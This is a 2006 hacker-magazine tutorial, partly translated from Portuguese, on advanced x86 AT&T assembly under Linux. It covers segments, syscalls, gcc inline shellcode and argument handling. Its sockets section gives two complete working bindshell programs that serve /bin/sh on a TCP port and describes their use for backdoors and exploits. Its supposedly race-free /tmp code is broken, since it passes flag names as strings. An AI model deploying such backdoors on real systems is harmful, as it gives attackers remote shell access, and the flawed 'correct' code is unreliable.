Advanced Assembly in Linux - x86 AT&T
Number 0x01: 03/23/2006
[ --- The Bug! Magazine
_____ _ ___ _
/__ \ |__ ___ / __\_ _ __ _ / \
/ /\/ '_ \ / _ \ /__\// | | |/ _` |/ /
/ / | | | | __/ / \/ \ |_| | (_| /\_/
\/ |_| |_|\___| \_____/\__,_|\__, \/
|___/
[ M . A . G . A . Z . I . N . E ]
[ Numero 0x01 <---> Edicao 0x01 <---> Artigo 0x01 ]
.> 23 de Marco de 2006,
.> The Bug! Magazine < staff [at] thebugmagazine [dot] org >
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Assembly avancado em Linux - x86 AT&T
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
.> 08 de Fevereiro de 2006,
.> Gustavo C. a.k.a hophet < hophet [at] gmail [dot] com >
Index
- Introduction
- Mounting for Linux
- 2.1. Segments & Offset's
- 2.2. Real mode x Protected mode
- 2.3. Variables x Gdb
- 2.4. Gcc Inline
- 2.5. Syscalls & Syscall "__NR_execve"
- 2.6. Race conditions
- 2.7. Reading Arguments (argc, argv)
- 2.8. Sockets
- Finishing
1. Introduction
Gentlemen, I don't intend to be long in this paper. I intend to deal with a little more advanced issues and in an objective way.
I advise you to read some basic material about assembly[1]. The complete understanding of this language requires previous knowledge about assembly.
PS: In the shellcodes presented in the text, I did not worry about NULL bytes. Remember to take them in consideration in your tests with overflows.
I believe that is it. =]
Assembly for Linux
2.1. Segments & Offset's
Segments are "memory spaces" that in the case of x86 architecture have the size of 64Kb until the 80386 processors, and can have smaller or bigger sizes according to the instructions used, in the current processors.
For example, if you have instructions that will only take up 20 Kb, a 20 Kb segment will be created.
The current processors still allow segments of 64 Kb (65536 bytes), the distance between these segments is of 16 bytes, thus allotting the memory positions.
Still in segments we have the offset's, the offset's are "pieces of memory" inside the "segment". It is also worth talking about the registers that manipulate and calculate the segments and offsets.
These are them:
- %cs (Code Segment) => Genrecia o "segmento" onde se encontra o "codigo do programa".
- %ds (Data Segment) => Gerencia o "segmento" onde se encontra os "dados do programa".
- %es (Extra Segment) => E' um gerenciador adicional.
- %ss (Stack Segment) => Gerencia o "segmento" onde se encontra o "Stack". E' nele que o processador armazena o "endereco de retorno" das rotinas. ;)
- %eip (Instrucion Pointer) => E' nele que fica armazenado o "offset" do "segmento de codigo" que contem a proxima "instrucao" a ser executada.
See:
- %cs = 08048094 (endereco do "segmento de codigo")
- %eip = 05 (offset "n" no "segmento de codigo")
08048094 + 05 = 08048099 => (endereco da proxima "instrucao")
We can represent the offsets as follows:
segmento:offset = 08048094:5, offset = 08048099 (end. offset)
Let's see this in practice ;)
hophet@breakdown ~/projetos/asm $ objdump -D w
w: file format elf32-i386
Disassembly of section .text:
08048094 <_start>:
8048094: b8 04 00 00 00 mov $0x4,%eax
8048099: bb 01 00 00 00 mov $0x1,%ebx
804809e: 8d 0d b8 90 04 08 lea 0x80490b8,%ecx
80480a4: 8d 15 bf 90 04 08 lea 0x80490bf,%edx
80480aa: cd 80 int $0x80
80480ac: b8 01 00 00 00 mov $0x1,%eax
80480b1: bb 00 00 00 00 mov $0x0,%ebx
80480b6: cd 80 int $0x80
Disassembly of section .data:
080490b8 <W>:
80490b8: 4f dec %edi
80490b9: 49 dec %ecx
80490ba: 21 21 and %esp,(%ecx)
80490bc: 21 0a and %ecx,(%edx)
...
080490bf <T>:
80490bf: 07 pop %es
80490c0: 00 00 add %al,(%eax)
...
If you notice we have the "code segment" (.text), that goes from 08048094 to 080480b6 and the "data segment" that in this case has two memory segments, 080490b8 to 080490bc and 080490bf to 080490c0. Each address within these segments is an offset ;)
If you want to play with the binaries you create in assembly you can use the GNU tools below, interesting information may arise ;)
- gdb
- strings
- strace
- strip
- objdump
- hexdump
- nm
- readelf
- file
There is just one detail that I found interesting to put and that can help us later on. And this is true for most recorders.
Take a look: ;)
+ %eax = 32 bits (4 bytes)
+ %ax = 16 bits (2 bytes)
+ %al = 8 bits (1 byte )
+ %ah = 8 bits (1 byte ) (1 byte = 1 caracter)
2.2. Real Mode x Protected Mode
The "real mode" or "RMode" is the mode that the processor is in when it is turned on, before the 80286 processors this was the default work mode. Where the processor could only access/add at most 640Kbytes of memory, have direct access to the BIOS routines and to the hardware. The registers had a size of 16 bits ;).
DOS worked in "RMode" until the arrival of Windows 3.1, that started to work in "PMode" and use 32 bits addressing with the arrival of the 386 processors.
The "protected mode" or "PMode" is the default working mode from 80286 on. This mode allows more memory addressing capacity, access permission to this memory, memory protection, multitasking support, use of virtual memory (paging). Starting with the 386 processors the registers became 32 bits and support memory addressing up to' 4 Gbytes and the compatibility with the previous processors remained.
So much that until today the processors start in "RMode" and the OS (Operational System) takes care of passing the processor to the "PMode" soon after the power-on.
Linux (I'm talking about the kernel ;) starts in "RMode" using 64k segments, as can be seen in:
/usr/src/linux/arch/i386/boot/bootsect.S
But after asking some questions about memory/disk/other things to the BIOS and putting the answers in a safe place, it transitions to "PMode", as you can see in:
/usr/src/linux/arch/i386/boot/setup.S
Remembering that all this is valid for x86 architecture. ;)
2.3. Variables x Gdb
I don't intend to be long on this topic, its purpose is just to show how the size of variables in assembly is calculated.
Normally we declare "variables" in AT&T synthesis like this:
VAR: .string "valor\n"
TAM: .long . - VAR
Let's talk about how the compiler/linker manipulates this information and sets the values for each variable. Remembering that the definition of the variables can vary from one compiler to another.
We will use to create the "object file" the "as" and to link the object file the "ld", creating an elf binary.
Take a look:
$ as asm.s -o asm.o
$ ld asm.o -o asm
Let's "descect" the declarations.
VAR: .string "value" => I declare that "VAR" will store a "value" of type "string". This is simple and clear.
TAM: .long . - VAR => Here things get a bit more complicated. But you'll understand.
The way to calculate the size of the "VAR" variable and store it in "TAM", can follow the following formula:
tam = current_position - start_position
Exactly what the declaration does: ". - VAR", where:
. = posicao_atual
- = subtracao ;)
VAR = posicao_inicial
Remember that every variable is stored in %ds (Data Segment) which in turn is allocated to memory. ;)
Let's see this in practice. Compile:
----cut----
# Codigo teste tamanho variaveis
# hophet [at] gmail.com
.section .data
W: .string "rfdslabs!!!\n"
T: .long . - W
.section .text
.globl _start
_start:
movl $0x4, %eax
movl $0x1, %ebx
leal W, %ecx
leal T, %edx
int $0x80
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
# eof
----cut----
Run it and see with your own eyes, hehe ;)
hophet@breakdown ~/projetos/asm $ gdb ./var -q
(no debugging symbols found)
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disass _start
Dump of assembler code for function _start:
0x08048094 <_start+0>: mov $0x4,%eax
0x08048099 <_start+5>: mov $0x1,%ebx
0x0804809e <_start+10>: lea 0x80490b8,%ecx
0x080480a4 <_start+16>: lea 0x80490c5,%edx
0x080480aa <_start+22>: int $0x80
0x080480ac <_start+24>: mov $0x1,%eax
0x080480b1 <_start+29>: mov $0x0,%ebx
0x080480b6 <_start+34>: int $0x80
End of assembler dump.
(gdb) x/s 0x80490b8
0x80490b8 <W>: "rfdslabs!!!\n"
(gdb) x/s 0x80490c3
0x80490c3 <W+11>: "\n"
(gdb) x/s 0x80490c4
0x80490c4 <W+12>: ""
(gdb) x/d 0x80490c5
0x80490c5 <T>: 13
(gdb) quit
hophet@breakdown ~/projetos/asm $
I'll detail a few lines:
...
0x0804809e <_start+10>: lea 0x80490b8,%ecx
...
Here we have the memory address of the variable "W".
...
0x080480a4 <_start+16>: lea 0x80490c5,%edx
...
Here we have the memory address of the variable "T".
...
(gdb) x/s 0x80490b8
0x80490b8 <W>: "rfdslabs!!!\n"
...
As you can see here we have the initial address of "W", i.e. W = 0x80490b8
...
(gdb) x/s 0x80490c3
0x80490c3 <W+11>: "\n"
(gdb) x/s 0x80490c4
0x80490c4 <W+12>: ""
...
These two lines show the end of the string (\n) and the NULL byte that ends the string. It also shows how many bytes the variable "W" occupies, "<W+12", i.e. 13 bytes (starts at 0 ;).
So the "current_position" is = "0x80490c4". Right? ;)
...
(gdb) x/d 0x80490c5
0x80490c5 <T>: 13
...
In this case we have the memory address of the variable "T" and its value, the size of "W", which is 13 bytes. "T" = 0x80490c5. That is, the size of the variable "W" is stored in the next memory address.
It wouldn't be necessary to do the math now that we know, but...
T = 0x80490c4 - 0x80490b8. T = 13. =P
0x80490c5 = 13
That's why. I hope I have clarified someone's ideas ;)
2.4. Gcc Inline
Basically "gcc inline" allows us to execute assembly "instructions" inside a "C" program. gcc inline can be used for several purposes, among them:
- Write assembly programs.
- Writing assembly programs using libc.
- Execution of shellcodes.
- Help when writing shellcode.
Please note that the AT&T assembly language rules are the same as in "gcc inline".
Basically "gcc inline" can be used in the following ways:
asm("mov %esp, %ecx");
ou
asm("nop;nop;nop");
ou
__asm("
mov $0x1, %eax
xor %ebx, %ebx
int $0x80
");
ou
__asm__(
"mov $0x1, %eax \n"
"xor %ebx, %ebx \n"
"int $0x80 \n"
);
All "statements" have the same meaning and work in the same way.
Let's have some practical examples of this.
Below is a simple example of "gcc inline" that just prints a "OI!" and can be used to create a shellcode, as we will see in another example ;)
Compile com:
$ gcc hi.c -o hi
----cut----
/* "gcc inline" para criacao de um shellcode. */
/* Lembrando que soh podemos empurar 4 bytes */
/* por vez no "Stack" (%esp). */
/* hophet [at] gmail.com */
#include <stdio.h>
int main() {
__asm__(
"push $0x0a \n" /* String, "\n" */
"push $0x2121494f \n" /* String, "OI!!" */
"mov %esp, %ecx \n" /* Guardamos "Stack" em %ecx */
"mov $0x4, %eax \n" /* Syscall write() */
"mov $0x1, %ebx \n" /* STDOUT */
"mov $0x5, %edx \n" /* Tamanho da "String" */
"int $0x80 \n" /* Send ... =P */
"mov $0x1, %eax \n" /* Syscall exit() */
"xor %ebx, %ebx \n" /* "Exit_Success", 0 em %ebx */
"int $0x80 \n" /* Send ... =P */
);
}
----cut----
Below is a shellcode that I wrote based on the above code and how I execute this shellcode quickly, using "gcc inline" instead of pointers to functions, casts and the like =D
Compile com:
$ gcc sc.c -o sc
----cut----
/* Shellcode escrito com base no hi.c */
/* usando "gcc inline" */
/* hophet [at] gmail.com */
#include <stdlib.h>
char shellcode[] =
"\x6a\x0a\x68\x4f\x49\x21\x21\x89\xe1\xb8\x04"
"\x00\x00\x00\xbb\x01\x00\x00\x00\xba\x05\x00"
"\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\x31\xdb"
"\xcd\x80\xc9\xc3"; /* Nosso code, "OI!!" */
int main() {
__asm__("jmp shellcode"); /* Vamo pular, huhuhu ... */
}
----cut----
We jump right into our shellcode ;)
Compile, run, and see the results =)
2.5. Syscalls & Syscall "__NR_execve"
Well, this topic aims to give some details about the use of "syscalls" (System Calls) and how to handle them in the best way.
"System calls" with less than 6 arguments:
The "syscall" number goes in %eax. And the arguments go in %ebx, %ecx, %edx, %esi, %edi, in that order. The return value of the syscall will be in %eax.
A list of Linux system calls can be found in the file below, together with their numbers:
/usr/src/linux/include/asm/unistd.h
"System calls" with more than 5 arguments:
The number of the "syscall" remains in %eax. But its arguments, must be stored and organized in memory and the address of the first argument stored in %ebx.
We push the arguments in the stack backwards, from the last argument to the first, and copy the pointer to the stack in %ebx. Another way is to copy the arguments to an allocated memory space and store the address of the first argument in %ebx.
More information about "system calls" and their "arguments":
$ man 2 <syscall>. Ex.: $ man 2 execve.
Let's see examples of this. lol
This first example shows how we can pass "arguments" to "system call" __NR_execve, there are some interests in doing that, some of them are:
- Write code that supports external command execution with arguments.
- Write shellcodes that execute not just commands, but commands plus arguments. This can be very interesting.
There are many other possibilities, be creative =P
----cut----
# Syscall "__NR_execve" executando "uname" com "argumentos"
# hophet [at] gmail.com
.section .data
cmd0: .string "/bin/uname" # Nosso "comando"
cmd1: .string "-a" # Nosso "argumento"
NULL: .long 0x0
.section .text
.globl _start
_start:
sub $0x0e, %esp # Liberamos "14" bytes no Stack
push $NULL # Empurramos "/bin/uname, -a, NULL"
push $cmd1 # para o Stack.
push $cmd0
mov %esp, %ecx # "char *const argv[]" em %ecx ;)
# execve()
mov $0x0b, %eax # __NR_execve, 11
mov $cmd0, %ebx # *filename, "/bin/uname"
mov $NULL, %edx # Sem "variaveis de ambiente"
int $0x80 # Execute via "linux interrupt service"
# exit()
mov $0x1, %eax
mov $0x0, %ebx
int $0x80
----cut----
In the next topic there is an interesting example of using the stack to handle syscall arguments.
2.6. - Race Conditions
Basically and briefly a "race condition" occurs when a program does not work as expected because an order of unexpected events produces a dispute over the same resource.
I won't explain how race conditions work but I will show how to avoid them in assembly language.
A race condition can happen in several ways:
- "Atomic Actions" in the Filesystem;
- Shared Memory between Threads;
- "Signals" manipulation
- Temporary Files;
- Locking;
- Temporary files; + Locking; + Among others.
Below is an assembly code vulnerable to "race condition" by improperly manipulating files in "/tmp".
----cut----
# Code vulneravel a "Race Condition" via "/tmp"
# Escreve no arquivo "rc.xxx" em "/tmp"
# hophet [at] gmail.com
.section .data
MSG1: .string "Escrevendo em /tmp/rc.xxx ...\n"
TAM1: .long . - MSG1
MSG2: .string "rfdslabs!!!\n"
TAM2: .long . - MSG2
FILE: .string "/tmp/rc.xxx"
MODO: .string "O_RDWR"
.section .text
.globl _start
_start:
# Syscall write()
movl $0x4, %eax
movl $0x1, %ebx
leal MSG1, %ecx
leal TAM1, %edx
int $0x80
# Syscall open()
movl $0x5, %eax
movl $FILE, %ebx # Abrindo arquivo ...
movl $MODO, %ecx # Leitura-escrita
movl $0x0, %edx # Permisao, 0
int $0x80
# Move o "retorno" de open() para %esi.
movl %eax, %esi
# Syscall write()
movl $0x4, %eax
movl %esi, %ebx # file descriptor, rc.xxx
leal MSG2, %ecx # Escrevendo MSG2 ...
leal TAM2, %edx
int $0x80
# Syscall close()
movl $0x6, %eax
movl %esi, %ebx # Fechando rc.xxx
int $0x80
# Syscall exit()
movl $0x0, %eax
movl $0x1, %ebx # Trocar de valores
xchg %eax, %ebx # Invencao de moda =P
int $0x80
----cut----
If you want you can play with "symbolic links" in the "/tmp" can be fun ;)
Below is the correct way to manipulate temporary files and avoid this kind of problem in assembly codes.
----cut----
# Code livre de "Race Condition"
# Escreve no arquivo "rc.xxx" em "/tmp"
# hophet [at] gmail.com
.section .data
MSG1: .string "Escrevendo em /tmp/rc.xxx ...\n"
TAM1: .long . - MSG1
MSG2: .string "rfdslabs!!!\n"
TAM2: .long . - MSG2
FILE: .string "/tmp/rc.xxx"
F1: .string "O_CREAT" # Se "rc.xxx" nao existir, crie
F2: .string "O_EXCL" # Se existir faz open() falhar ;)
F3: .string "O_TRUNC" # Trunca "rc.xxx" se existir
F4: .string "O_RDWR" # Abre para leitura/escrita
PIPE: .long 0x7c # Pipe, "|"
PERM: .long 0600 # Permissao
.section .text
.globl _start
_start:
# Syscall write()
movl $0x4, %eax
movl $0x1, %ebx
leal MSG1, %ecx
leal TAM1, %edx
int $0x80
# Syscall open()
push $F4 # Empurramos tudo pra "Pilha"
push $PIPE
push $F3
push $PIPE
push $F2
push $PIPE
push $F1
mov %esp, %ecx # Flags em %ecx
movl $0x5, %eax
movl $FILE, %ebx # Abrindo arquivo, rc.xxx
movl $PERM, %edx # Permisao, 0600
int $0x80
# Move o "retorno" de open() para %esi
movl %eax, %esi
# Syscall write()
movl $0x4, %eax
movl %esi, %ebx # file descriptor, rc.xxx
leal MSG2, %ecx # Escrevendo MSG2...
leal TAM2, %edx
int $0x80
# Syscall close()
movl $0x6, %eax
movl %esi, %ebx # Fechando, rc.xxx ...
int $0x80
# Syscall exit()
movl $0x1, %eax
movl $0x0, %ebx
int $0x80
----cut----
Now we use some parameters that will prevent symbolic links from being created. Compile, run and see the difference in practice ;)
2.7. Reading Arguments (argc, argv)
The command line "arguments" in the linux binaries are stored and organized in the "Stack". As in the "C" language "argc" comes first, followed by "**argv" with the command line strings ending with a NULL byte. Then comes "**envp" which is a pointer to the environment variables, also followed by a NULL.
Let's see this in practice ;)
----cut----
# Imprimi os argumentos que foram passados
# em "linha de comando".
# hophet [at] gmail.com
.section .data
nl: .long 0x0a # 0x0a, "\n"
tam: .long . - nl
.section .text
.globl _start
_start:
pop %eax # Verifica se "argc" esta
dec %eax # vazio.
jz exit # Se sim, exit() ...
pop %ecx # Eliminamos "argv[0]"
loop:
pop %ecx # Obtem "argv[1]", "argv[2]" ...
or %ecx, %ecx # Verifica se igual a NULL
jz exit # Se NULL, exit() ...
mov %ecx, %esi # Guarda "argv[n]" em %esi
xor %edx, %edx # Zera %edx
# Encontra o tamanho da string.
# Incrementa %edx ate' que chegue ao seu final
# "\0", (NULL), ou seja, %al igual a 0.
strlen:
inc %edx # Contador
lodsb # Carrego %esi (argv[n]) em %eax
or %al, %al # Verifica se igual a NULL
jnz strlen # Se NAO, repete ...
dec %edx # Se SIM, decrementa %edx
# Imprimi "argumentos"
mov $0x4, %eax # __NR_write, 4
mov $0x1, %ebx # stdout, 1
int $0x80
# Imprimi "\n" ao final de cada argumento
mov $0x4, %eax # __NR_write, 4
mov $0x1, %ebx # stdout, 1
mov $nl, %ecx # \n
mov $tam, %edx # Tamanho de $nl
int $0x80
jmp loop # Again ... ;)
exit:
mov $0x1, %eax # exit()
int $0x80
----cut-----
Compile and run we have that:
hophet@breakdown ~/projetos/asm $ as args.s -o args.o
hophet@breakdown ~/projetos/asm $ ld args.o -o args
hophet@breakdown ~/projetos/asm $ ./args
hophet@breakdown ~/projetos/asm $ ./args Free your mind \!\!\!
Free
your
mind
!!!
hophet@breakdown ~/projetos/asm $ ./args "Free your mind..."
Free your mind...
hophet@breakdown ~/projetos/asm $
That's it. ;)
2.8. Sockets
Well, I will show some examples of how to create sockets in assembly. The creation of sockets in assembly can have many purposes, like creating shellcodes that can be used to exploit Buffer Overflows, creating small and fast backdoors, creating viruses (many are written in assembly) with backdoor characteristics, among others.
I will show two examples of socket creation, all are known as "bindshell" and have the function to bind a shell to a specific port.
Take a look:
----cut----
# BindShell escrita em Assembly
# Binda uma shell na porta 30464
#
# Compile com:
# $ as bindshell.s -o bindshell.o
# $ ld bindshell.o -o bindshell
#
# hophet [at] gmail.com
.section .data
.section .text
.globl _start
_start:
sub $0x80, %esp
# fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
xorl %eax,%eax
xorl %ebx,%ebx
xorl %ecx,%ecx
xorl %edx,%edx
xorl %ebp,%ebp
movb $0x66,%al
movb $0x1,%bl
pushl %ecx
movb $0x6,%cl
pushl %ecx
movb $0x1,%cl
pushl %ecx
movb $0x2,%cl
pushl %ecx
leal (%esp),%ecx
int $0x80
add $0x10,%esp
# bind(fd, (struct sockaddr)&sin, sizeof(sin) )
movb $0x2,%bl
xorl %ecx,%ecx
pushl %ecx
pushl %ecx
pushl %ecx
movb $0x77,%cl
pushw %cx
movb $0x2,%cl
pushw %cx
leal (%esp),%ecx
movb $0x10,%dl
pushl %edx
pushl %ecx
pushl %eax
leal (%esp),%ecx
movl %eax,%edx
xorl %eax,%eax
movb $0x66,%al
int $0x80
add $0x1c,%esp
xor %ecx,%ecx
cmp %eax,%ecx
je fork
fork:
# fork()
mov %eax,%ebp
movl %eax,%ebx
xorl %eax,%eax
movb $0x2,%al
int $0x80
testl %eax, %eax
je child
child:
# listen(fd, 1)
movb $0x1,%bl
pushl %ebx
pushl %edx
leal (%esp),%ecx
xorl %eax,%eax
movb $0x66,%al
movb $0x4,%bl
int $0x80
add $0x08,%esp
xorl %ebx,%ebx
incomming:
xorl %eax,%eax
cmp %eax,%ebx
je skip
# close(old cli)
mov $0x6,%al
int $0x80
xorl %ebx,%ebx
xor %eax,%eax
skip:
# cli = accept(fd, 0, 0)
pushl %eax
pushl %eax
pushl %edx
leal (%esp),%ecx
movb $0x5,%bl
movb $0x66,%al
int $0x80
add $0x0c,%esp
# fork()
mov %eax,%ebp
movl %eax,%ebx
xorl %eax,%eax
movb $0x2,%al
int $0x80
testl %eax, %eax
je incomming
sub $0x80,%esp
# dup2(cli, 0)
xorl %ecx,%ecx
xorl %eax,%eax
movb $0x3f,%al
int $0x80
# dup2(cli, 1)
xorl %ecx,%ecx
inc %ecx
movl %ebp,%ebx
xorl %eax,%eax
movb $0x3f,%al
int $0x80
# dup2(cli, 2)
inc %ecx
xorl %eax,%eax
movb $0x3f,%al
int $0x80
# execve("//bin/sh", ["//bin/sh", NULL], NULL);
xorl %ebx,%ebx
pushl %ebx
pushl $0x68732f6e
pushl $0x69622f2f
movl %esp,%ebx
leal 0x8(%esp),%edx
xorl %ecx,%ecx
pushl %ecx
pushl %ebx
leal (%esp),%ecx
xorl %eax,%eax
movb $0xb,%al
int $0x80
exit:
# close(0)
xor %eax,%eax
xorl %ebx,%ebx
mov $0x6,%al
int $0x80
# close(1)
inc %bl
xor %eax,%eax
mov $0x6,%al
int $0x80
# exit()
xor %eax,%eax
mov $0x1,%al
int $0x80
----cut----
Compiling and executing it we have:
hophet@breakdown ~/projetos/asm $ ./bindshell
hophet@breakdown ~/projetos/asm $ netcat localhost 30464
id
uid=1000(hophet) gid=100(users) groups=10(wheel),18(audio),100(users)
exit
hophet@breakdown ~/projetos/asm $
The bindshell below I found at LinuxAssembly.org and was written by Philip, I added it to the paper because I found it interesting how it was written. I had to change a few details to be able to compile with "as", because with gcc it wasn't working.
----cut----
# defines.h
SYS_exit = 1
SYS_fork = 2
SYS_write = 4
SYS_open = 5
SYS_close = 6
SYS_execve = 11
SYS_lseek = 19
SYS_dup2 = 63
SYS_mmap = 90
SYS_munmap = 91
SYS_socketcall = 102
SYS_socketcall_socket = 1
SYS_socketcall_bind = 2
SYS_socketcall_listen = 4
SYS_socketcall_accept = 5
SEEK_END = 2
PROT_READ = 1
MAP_SHARED = 1
AF_INET = 2
SOCK_STREAM = 1
IPPROTO_TCP = 6
STDOUT = 1
----cut----
and
----cut----
# daemon.s
# BindShell em Assembly
#
# Compile com:
# $ as daemon.s -o daemon.o
# $ ld deamon.o -o daemon
#
# http://www.linuxassembly.org/
.include "defines.h"
BIND_PORT = 0xff00 # 255 (random)
.data
SOCK:
.long 0x0
LEN:
.long 0x10
SHELL:
.string "/bin/sh"
.text
.globl _start
_start:
subl $0x20,%esp
# socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
movl $SYS_socketcall,%eax
movl $SYS_socketcall_socket,%ebx
movl $AF_INET,(%esp)
movl $SOCK_STREAM,0x4(%esp)
movl $IPPROTO_TCP,0x8(%esp)
movl %esp,%ecx
int $0x80
# save sockfd
movl %eax,SOCK
xorl %edx,%edx
# bind(%eax, %esp+0xc, 0x10);
movw $AF_INET,0xc(%esp)
movw $BIND_PORT,0xe(%esp)
movl %edx,0x10(%esp)
movl %eax,(%esp)
leal 0xc(%esp),%ebx
movl %ebx,0x4(%esp)
movl $0x10,0x8(%esp)
movl $SYS_socketcall,%eax
movl $SYS_socketcall_bind,%ebx
int $0x80
movl SOCK,%eax
# listen(%eax, 0x1);
movl %eax,(%esp)
movl $0x1,0x4(%esp)
movl $SYS_socketcall,%eax
movl $SYS_socketcall_listen,%ebx
int $0x80
movl SOCK,%eax
# accept(%eax, %esp+0xc, LEN);
movl %eax,(%esp)
leal 0xc(%esp),%ebx
movl %ebx,0x4(%esp)
movl $LEN,0x8(%esp)
movl $SYS_socketcall,%eax
movl $SYS_socketcall_accept,%ebx
int $0x80
# for(i=2;i>-1;;i--) dup2(%eax,i)
movl $0x2,%ecx
DUP2LOOP:
pushl %eax
movl %eax,%ebx
movl $SYS_dup2,%eax
int $0x80
dec %ecx
popl %eax
jns DUP2LOOP
# execve(SHELL, { SHELL, NULL }, NULL );
movl $SYS_execve,%eax
movl $SHELL,%ebx
movl %ebx,(%esp)
movl %edx,0x4(%esp)
movl %esp,%ecx
int $0x80
# exit(0)
movl $SYS_exit,%eax
movl %edx,%ebx
int $0x80
ret
----cut----
That's it ;)
Ending
There is only one way to really learn, code, code and code, and based on this paper and the examples, many other codes can be created.
Well guys, I hope I clarified something in your minds, there is a lot to be said and I hope to have another opportunity ;)
A big hug and thanks to the guys at:
- rfdslabs <www.rfdslabs.com.br>
- The Bug! Magazine <http://www.thebugmagazine.org>
- Gotfault <http://gotfault.net>
More information on Assembly:
More information on Race Conditions:
- http://www.nlabs.com.br/~hophet/docs/racecond_fd.txt
- http://www.nlabs.com.br/~hophet/docs/racecond_suid.txt
More information on Shellcodes:
- http://guide.motdlabs.org/edicoes/guide01/shellcode.txt
- http://guide.motdlabs.org/edicoes/guide02/shellsemsegredos.txt
A big hug for everyone. See you later!!! =]
hophet.